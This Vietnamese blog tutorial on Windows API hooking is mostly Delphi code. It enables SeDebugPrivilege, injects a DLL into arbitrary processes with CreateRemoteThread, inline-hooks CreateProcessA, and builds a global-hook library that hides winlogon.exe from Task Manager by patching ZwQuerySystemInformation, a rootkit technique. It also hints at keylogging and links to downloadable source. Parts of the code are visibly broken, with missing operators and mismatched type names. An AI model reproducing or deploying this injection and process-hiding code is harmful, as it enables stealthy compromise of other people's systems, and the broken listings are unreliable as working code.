Kỹ thuật biến đổi nhân của Windows – Phần 2 : Nghệ thuật gây đột biến mã(1).
Link gốc: http://hardsoftvn.wordpress.com/category/bai-phan-tich-h%C6%B0%E1%BB%9Bng-d%E1%BA%ABn/
-Trong phần này tôi xin trình bày các cách để gây đột biến mã trong một tiến trình bất kỳ và cả trong nhân hệ điều hành .Đầu tiên cần phải đề cấp tới là trong bộ nhớ của một tiến trình bình thường. Kỹ thuật này có thể nói là khó (tuy nhiên nó lại dễ hơn nhiều so với trong nhân) đối với nhiều bạn mới bắt đầu . Vì vậy tôi sẽ trình bày thật chi tiết.
- Hiện nay có 3 cách chính để gây mã đột biến trong một tiến trình. Đó là sửa bảng IAT (Import Address Table), sửa bảng EAT (Export Address Table) và sửa mã trực tiếp.
-Sửa bảng IAT : Khi một chương trình sử dụng một hàm trong thư viện ngọai vi thì nó sẽ ánh xạ thư viện đó vào vủng nhớ của mình . Bảng IAT đóng vai trò như một chiếc bản đồ giúp chương trình định vị vị trí của hàm trong bộ nhớ của chương trình.Sửa bảng IAt sẽ giúp ta đánh lừa chương trình khi nó cần sử dụng tới hàm bị đột biến.Tuy nhiên cách này rất dễ bị phát hiện và qua mặt.Một chương trình có thể qua mặt cách này dễ dàng bằng cách sử dụng hàm API khai báo theo kiểu trực tiếp (dùng hai hàm là LoadLibrary và GetProcAddress)
-Khi một thư viện được ánh xạ vào vùng nhớ , nó sẽ lưu vào bảng EAT. Bảng EAT nhằm mục đích lưu giữ danh sách các hàm được sử dụng và vị trí nó tọa lạc trong vùng nhớ . Sửa đổi bảng này sẽ khắc phục được điểm yếu của cách đâu tiên . Có nghĩa là nó không dễ bị phát hiện và nó có thể gây đột biến ở cả hàm được khai báo động (chỉ khai báo khi cần dùng tới) và tĩnh (khai báo khi chương trình bắt đầu).Điểm yếu lớn nhất của cách này là bạn không thể áp dụng nó cho những thư viện đã được ánh xạ và bạn không thể phục hồi hàm đã đột biến trở lại như ban đầu.
-Cách cuối cùng là trực tiếp thay đổi mã thực thi của hàm . Kỹ thuật này sẽ chèn một lệnh nhảy vô điều kiện vào dòng đầu tiên của hàm . Địa chỉ được nhảy tới là địa chỉ một hàm do bạn viết và đã được ánh xạ trên bộ nhớ.Cách này giải quyết được tất cả điểm yếu của hai cách trên . Tuy nhiên nó cũng có nhược điểm riêng của mình : nó cũng dễ bị phát hiện và với một số hàm thì việc đặt lệnh nhảy vào đâu hàm có thể gây giảm tốc độ thực thi.
-Trong bài viết này tôi chỉ hiện thực hóa cách thứ ba vì nó khá dễ áp dụng và ưu điểm của nó rõ ràng hơn hẳn nhược điểm.
-Địa chỉ của lệnh nhảy được đặt vào đầu hàm chỉ có thể thuộc vùng nhớ riêng của một tiến trình . Điều này có nghĩa là bạn không thể thay đổi hướng thực thi của một hàm được ánh xạ trong một tiến trình sang một hàm được ánh xạ trong một tiến trình khác . Việc này làm nảy sinh một vấn đề là làm sao ánh xạ hàm của mình vào vùng nhớ của tiến trình bất kỳ. Hiện nay thì có hai cách để giải quyết việc này : đưa thư viện của mình vào vùng nhớ của tiến trình bất kỳ hay trực tiếp ánh xạ hàm của mình lên vùng nhớ của tiến trình đó . Trong bài viết này tôi chỉ đề cập tới cách đầu tiên vì nó khá dễ thực hiện và an tòan hơn cách thứ hai .
-Để đưa được một cũng có nhiều cách thực hiện . Bạn có thể khai thác lỗ hổng của hàm SetWindowsHookEx hay tạo ra một chỉ tiến trình ngoại lai trong tiến trình bất kỳ.
-Hàm SetWindowsHookEx có dạng HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId); Thông số đầu cho biết sự kiện cần theo dõi. Thông số thứ hai là địa chỉ của hàm sẽ nhận thông tin.Thông số thứ ba là địa chỉ bắt đầu của thư viện trong bộ nhớ.Thông số cuối cùng là số hiệu của chỉ tiến trình cần gây đột biến . Nếu tham số cuối là 0 thì hệ điều hành sẽ sử dụng chỉ tiến trình mặc định.
-ví dụ : khi gọi SetWindowsHookEx(WH_KEYBOARD, kbfunc, DllHandle, 0) , khi bất kỳ tiến trình nào chuẩn bị nhận phím bấm thì thư viện của ta sẽ được ánh xạ vào vùng nhớ của tiến trình đó. Sau đây là dàn ý của thư viện gây đột biến :
BOOL APIENTRY DllMain(HANDLE hModule,DWORD reason_for_call,LPVOID lpReserved)
{
if (reason_for_call == DLL_PROCESS_ATTACH)
{
// Chỗ này dùng để thực hiện thao tác gây đột biến như sửa bảng IAT ,EAT hay sửa mã trực tiếp
}
return TRUE;
}
__declspec (dllexport) LRESULT kbfunc (int code,WPARAM wParam,LPARAM lParam)
{
// đây là nơi xử lý thông tin về WH_KEYBOARD , bạn có thể bỏ trống hay thêm vào tính năng theo dõi bàn phím ^__^
return CallNextHookEx(g_hhook, code, wParam, lParam); // truyền thông tin cho người nhận kế tiếp
}
-Cách thứ hai là tạo ra một chỉ tiến trình ngoại lai do ta điều khiển trong tiến trình bất kỳ.Chỉ tiến trình này sẽ thực thi trong bộ nhớ của tiến trình và ánh xạ một thư viện do ta viết.Để tạo một chỉ tiến trình ngọai lai trong môt tiến trình bất kỳ , ta chỉ cần sử dụng hàm CreateRemoteThread.
-Hàm CreateRemoteThread có dạng:
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId);
- Thông số đầu là tay cầm của tiến trình cần gây đột biến . thông số thứ 4 là địa chỉ của hàm do chỉ tiến trình thưc hiện . Thông số thứ 5 là thông số do ta truyền cho chỉ tiến trình.Các thông số còn lại các bạn không cần quan tâm và có thể đặt là NULL hay 0. Để có thể thực hiện được việc ánh xạ thư viện vào bộ nhớ , bạn phải đặt thông số thứ 4 là địa chỉ của hàm LoadLibrary . Bạn có thể lấy địa chỉ này trong chương trình của mình bằng hàm LoadLibrary và GetProcAddress bởi và truyền vào thông số thứ 4 (Điều này có thể chấp nhận được là do hầu như hàm kernel32.dll được ánh xạ với cùng một địa chỉ trong bất cứ tiến trình nào):
GetProcAddress(GetModuleHandle(TEXT( “Kernel32″)), “LoadLibraryA”)
-Thông số thứ 5 là thông số khó chịu nhất khi phải sử dụng cách này. Bạn không thể truyền một chuỗi hay một số vào thông số này vì khi được thưc thi ở tiến trình khác thông số thứ 5 sẽ là địa chỉ của chuỗi hay số ở tiến trình đâu tiên (và bạn không thể biết được nội dung của địa chỉ này).Cách duy nhất là viết tên của thư viện cần ánh xạ vào bộ nhớ của tiến trình cần gây đột biến . Ta có thể dùng hàm VirtualAllocEx để định vị một vùng nhớ trống và hàm WriteProcessMemory với thông số là địa chỉ nhận được từ hàm VirtualAllocEx để ghi tên của thư viện cần ánh xạ vào vùng nhớ của tiến trình cần gây đột biến.
-Sau đây là một số đọan mã viết bằng Delphi để giúp các bạn có thể dễ dàng hiện thực hóa những lý thuyết mà chúng ta nói nãy giờ.
- Để có thể lấy được tay cầm của những tiến trình hệ thống , tiến trình của bạn phải có đặc quyền sửa lỗi (SeDebugPrivilege). Đây là đọan mã để thực hiện điều này :
///////////////////////////////////////////////////////////////////
function EnableDebugPrivilege():Boolean;
var
hToken: dword;
SeDebugNameValue: Int64;
tkp: TOKEN_PRIVILEGES;
ReturnLength: dword;
begin
Result:=false;
OpenProcessToken(INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES
or TOKEN_QUERY, hToken);
if not LookupPrivilegeValue(nil, ‘SeDebugPrivilege’, SeDebugNameValue) then
begin
CloseHandle(hToken);
exit;
end;
tkp.PrivilegeCount := 1;
tkp.Privileges[0].Luid := SeDebugNameValue;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, tkp, SizeOf(TOKEN_PRIVILEGES),
tkp, ReturnLength);
if GetLastError() ERROR_SUCCESS then exit;
Result:=true;
end;
///////////////////////////////////////////////////////////////////
-Để ánh xạ được thư viện của mình , các bạn có thể dùng đọan mã sau :
///////////////////////////////////////////////////////////////////
Function InjectDll(Process: dword; ModulePath: PChar): boolean;
var
Memory:pointer;
Code: dword;
BytesWritten: dword;
ThreadId: dword;
hThread: dword;
hKernel32: dword;
Inject: packed record
PushCommand:byte;
PushArgument:DWORD;
CallCommand:WORD;
CallAddr:DWORD;
PushExitThread:byte;
ExitThreadArg:dword;
CallExitThread:word;
CallExitThreadAddr:DWord;
AddrLoadLibrary:pointer;
AddrExitThread:pointer;
LibraryName:array[0..MAX_PATH] of char;
end;
begin
Result := false;
// định vị một khỏang trống trong bộ nhớ
Memory := VirtualAllocEx(Process, nil, sizeof(Inject),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if Memory = nil then Exit;
Code := dword(Memory);
Inject.PushCommand := $68;
inject.PushArgument := code + $1E;
inject.CallCommand := $15FF;
inject.CallAddr := code + $16;
inject.PushExitThread := $68;
inject.ExitThreadArg := 0;
inject.CallExitThread := $15FF;
inject.CallExitThreadAddr := code + $1A;
hKernel32 := GetModuleHandle(’kernel32.dll’);
inject.AddrLoadLibrary := GetProcAddress(hKernel32, ‘LoadLibraryA’);
inject.AddrExitThread := GetProcAddress(hKernel32, ‘ExitThread’);
lstrcpy(@inject.LibraryName, ModulePath);
// sau khi đã chuẩn bị tòan bộ mã của chỉ tiến trình ngọai lai
// ta viết nội dung của đọan mã này vào bộ nhớ của tiến trình cầng gây đột biến
WriteProcessMemory(Process, Memory, @inject, sizeof(inject), BytesWritten);
hThread := CreateRemoteThread(Process, nil, 0, Memory, nil, 0, ThreadId);
if hThread = 0 then Exit;
CloseHandle(hThread);
Result := True;
end;
///////////////////////////////////////////////////////////////////
-Sau đây là một ví dụ thực tế về việc chặn hàm CreateProcessA bằng phương pháp đổi mã trực tiếp :
///////////////////////////////////////////////////////////////////
library ApiHook;
uses
TLHelp32, windows;
type
// thông tin về nơi sẽ nhảy tới
fr_jmp = packed record
PuhsOp: byte;
PushArg: pointer;
RetOp: byte;
end;
// thông tin về nơi xuất phát
OldCode = packed record
One: dword;
two: word;
end;
var
// địac chỉ của hàm CreateProcessA
AdrCreateProcessA: pointer;
OldCrp: OldCode;
JmpCrProcA: far_jmp;
Function OpenThread(dwDesiredAccess: dword; bInheritHandle: bool; dwThreadId: dword):dword;
stdcall; external ‘kernel32.dll’;
Procedure StopThreads;
var
h, CurrTh, ThrHandle, CurrPr: dword;
Thread: TThreadEntry32;
begin
CurrTh := GetCurrentThreadId;
CurrPr := GetCurrentProcessId;
h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if h INVALID_HANDLE_VALUE then
begin
Thread.dwSize := SizeOf(TThreadEntry32);
// chạy từ trong ra ngòai
if Thread32First(h, Thread) then
repeat
// nếu đúng là tiến trình chủ (tức tiến trình đang thực hiện những dòng mã này)…
if (Thread.th32ThreadID CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then
begin
// lấy tay cầm của chỉ tiến trình
ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID);
if ThrHandle>0 then
begin
SuspendThread(ThrHandle);
CloseHandle(ThrHandle);
end;
end;
until not Thread32Next(h, Thread);
CloseHandle(h);
end;
end;
// hàm để tiếp tục chạy chỉ tiến trình sau khi nó bị tạm ngưng
Procedure RunThreads;
var
h, CurrTh, ThrHandle, CurrPr: dword;
Thread: TThreadEntry32;
begin
CurrTh := GetCurrentThreadId;
CurrPr := GetCurrentProcessId;
h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if h INVALID_HANDLE_VALUE then
begin
Thread.dwSize := SizeOf(TThreadEntry32);
if Thread32First(h, Thread) then
repeat
if (Thread.th32ThreadID CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then
begin
ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID);
if ThrHandle>0 then
begin
ResumeThread(ThrHandle);
CloseHandle(ThrHandle);
end;
end;
until not Thread32Next(h, Thread);
CloseHandle(h);
end;
end;
// mô hình của hàm CreateProcessA thật
function TrueCreateProcessA(lpApplicationName: PChar;
lpCommandLine: PChar;
lpProcessAttributes,
lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL;
dwCreationFlags: DWORD;
lpEnvironment: Pointer;
lpCurrentDirectory: PChar;
const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): BOOL;
begin
// phục hồi hàm CreateProcessA lại như cũ
WriteProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), Writen);
//gọi hàm CreateProcessA đã được phục hồi
result := CreateProcess(lpApplicationName, lpCommandLine, lpProcessAttributes,
lpThreadAttributes, bInheritHandles, dwCreationFlags or
CREATE_SUSPENDED, lpEnvironment, nil, lpStartupInfo,
lpProcessInformation);
// Gây đột biến bằng 1 lệnh nhảy vào đầu hàm
WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen);
end;
// hàm CreateProcessA bị đột biến
function NewCreateProcessA(lpApplicationName: PChar;
lpCommandLine: PChar;
lpProcessAttributes,
lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL;
dwCreationFlags: DWORD;
lpEnvironment: Pointer;
lpCurrentDirectory: PChar;
const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
//muốn chém , muốn giết thì tùy ý
end;
// hàm trực tiếp ghi lệnh nhảy vào đầu hàm khác
Procedure SetHook;
var
HKernel32, HUser32: dword;
begin
CurrProc := GetCurrentProcess;
AdrCreateProcessA := GetProcAddress(GetModuleHandle(’kernel32.dll’), ‘CreateProcessA’);
JmpCrProcA.PuhsOp := $68;
JmpCrProcA.PushArg := @NewCreateProcessA;
JmpCrProcA.RetOp := $C3;
ReadProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), bw);
WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen);
end;
begin
StopThreads;
SetHook;
RunThreads;
end.
///////////////////////////////////////////////////////////////////
-Sau đây là một ví dụ thực tế nữa về cách ẩn một tiến trình:
///////////////////////////////////////////////////////////////////
library Hide;
uses
Windows,
NativeAPI;
//thông tin về hàm lúc đầu
type
OldCode = packed record
One: dword;
two: word;
end;
//thông tin về hàm đột biến
far_jmp = packed record
PuhsOp: byte;
PushArg: pointer;
RetOp: byte;
end;
var
JmpZwq: far_jmp;
OldZwq: OldCode;
PtrZwq: pointer;
//Mô hình của hàm lúc đầu
Function TrueZwQuerySystemInformation(ASystemInformationClass: dword;
ASystemInformation: Pointer;
ASystemInformationLength: dword;
AReturnLength: PCardinal): NTStatus; stdcall;
var
Written: dword;
begin
// phục hồi lại như cũ
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
@OldZwq, SizeOf(OldCode), Written);
// gọi hàm sau khi đã được hồi phục
Result := ZwQuerySystemInformation(ASystemInformationClass,
ASystemInformation,
ASystemInformationLength,
AReturnLength);
// chèn lệnh nhảy 1 lần nữa vào đầu hàm
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
@JmpZwq, SizeOf(far_jmp), Written);
end;
//mô hình hàm đột biến
Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
ASystemInformation: Pointer;
ASystemInformationLength: dword;
AReturnLength: PCardinal): NTStatus; stdcall;
var
Info, Prev: PSYSTEM_PROCESSES;
begin
Result := TrueZwQuerySystemInformation(ASystemInformationClass,
ASystemInformation,
ASystemInformationLength,
AReturnLength);
// đọc thông số của hàm bị đột biến , nếu cần thì sẽ bỏ bớt thông số về tiến trình cần giấu -> tiến trình này sẽ ẩn trong tskmgr
if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
(Result = STATUS_SUCCESS) then
begin
Info := ASystemInformation;
while(Info^.NextEntryDelta > 0) do // dò từ trong ra ngòai
begin
Prev := Info;
Info := pointer(dword(Info) + Info^.NextEntryDelta);
if lstrcmpiw(Info^.ProcessName.Buffer, ‘winlogon.exe’) = 0 then // nếu đúng là ku Winlogon.exe thì …
Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta; // bớt một dòng trong danh sách tiến trình
end;
end;
end;
//hàm thực hiện việc chèn lệnh nhảy vào đầu hàm
Procedure SetHook();
var
Bytes: dword;
begin
// tìm địa chỉ của hàm ‘ZwQuerySystemInformation’
PtrZwq := GetProcAddress(GetModuleHandle(’ntdll.dll’),
‘ZwQuerySystemInformation’);
// đặt lệnh nhảy
ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
JmpZwq.PuhsOp := $68;
JmpZwq.PushArg := @NewZwQuerySystemInformation;
JmpZwq.RetOp := $C3;
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes);
end;
//hàm phục hồi lại như cũ
Procedure Unhook();
var
Bytes: dword;
begin
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
end;
// nơi tiếp nhận thông tin của SetWindowsHookEx
Function MessageProc(code : integer; wParam : word;
lParam : longint) : longint; stdcall;
begin
CallNextHookEx(0, Code, wParam, lparam);
Result := 0;
end;
// đăng ký một vé để được nhận thông tin về WH_GETMESSAGE
Procedure SetGlobalHookProc();
begin
SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
Sleep(INFINITE);
end;
Procedure SetGlobalHook();
var
hMutex: dword;
TrId: dword;
begin
hMutex := CreateMutex(nil, false, ‘ProcHideHook’);
if GetLastError = 0 then
CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else
CloseHandle(hMutex);
end;
// nơi bắt đầu mã thực thi của thư viện
procedure DLLEntryPoint(dwReason: DWord);
begin
case dwReason of
DLL_PROCESS_ATTACH: begin
SetGlobalHook();
SetHook();
end;
DLL_PROCESS_DETACH: begin
Unhook();
end;
end;
end;
begin
DllProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
////////////////////////////////////////////////////
- Đó là đọan mã của thư viện tên là Hide.dll . Để giúp thư viện này sống mãi trong bộ nhớ của bất kỳ tiến trình nào(cả đã tồn tai lẫn sắp tồn tại) , ta cần thực hiện đọan mã sau trong chương trình chính:
////////////////////////////////////////////////////
program ApiLoader;
uses
Windows;
begin
LoadLibrary(’hide.dll’);
SLEEP(INFINITE);
end.
////////////////////////////////////////////////////
- Khi thực thi ví dụ này , tiến trình winlogon.exe sẽ bị ẩn trong tskmgr. Để hiện trở lại winlogon.exe các bạn chỉ việc hủy tiến trình prochide.exe. Với ví dụ này , các bạn đã có một dàn bài hòan chỉnh để có thể gây đột biến bất kỳ hàm nào mà không cần dùng những công cụ của hãng thứ ba như Detour(Microsoft) hay madcodehook(Madshi). Hãy nhớ thiện ác tùy tâm (nam mô adi đà phật) …
-Để có được thư viện NativeAPI các bạn có thể tải ở đây : http://www.freewebtown.com/khoalhp261/NativeAPI.pas
-Mã nguồn của chương trình ẩn tiến trình các bạn tải ở đây :http://www.freewebtown.com/khoalhp261/prochide.rar
- Kỳ tới : Họ đã làm điều đó như thế nào ở trong nhân ? Tin đồn về một số rootkit có thể lấy quyền điều hành ngay khi chạy lần đầu tiên ở chế độ Người dùng giới hạn có thật không ? Và tôi sẽ phân tích một số rootkit tiêu biểu hiện nay như Fu , Futo và hxdef …
Đăng bởi : Trần Hữu Đăng Khoa.